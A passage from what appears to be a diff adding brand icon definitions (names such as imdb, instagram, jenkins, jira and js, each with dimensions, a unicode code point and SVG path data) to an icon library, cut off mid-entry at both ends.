69-30.9 69-69 69z"], + "ideal": [576, 512, [], "e013", "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"], + "imdb": [448, 512, [], "f2d8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z"], + "innosoft": [448, 512, [], "e080", "M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z"], + "instagram": [448, 512, [], "f16d", "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"], + "instagram-square": [448, 512, [], "e055", "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"], + "instalod": [512, 512, [], "e081", "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"], + "intercom": [448, 512, [], "f7af", "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"], + "internet-explorer": [512, 512, [], "f26b", "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"], + "invision": [448, 512, [], "f7b0", "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"], + "ioxhost": [640, 512, [], "f208", "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"], + "itch-io": [512, 512, [], "f83a", "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"], + "itunes": [448, 512, [], "f3b4", "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"], + "itunes-note": [384, 512, [], "f3b5", "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"], + "java": [384, 512, [], "f4e4", "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"], + "jedi-order": [448, 512, [], "f50e", "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"], + "jenkins": [512, 512, [], "f3b6", "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"], + "jira": [496, 512, [], "f7b1", "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"], + "joget": [496, 512, [], "f3b7", "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"], + "joomla": [448, 512, [], "f1aa", "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"], + "js": [448, 512, [], "f3b8", "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"], + "js-square": [448, 512, [], "f3b9", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"], + "jsfiddle": [576, 512, [], "f1cc", "M510.634 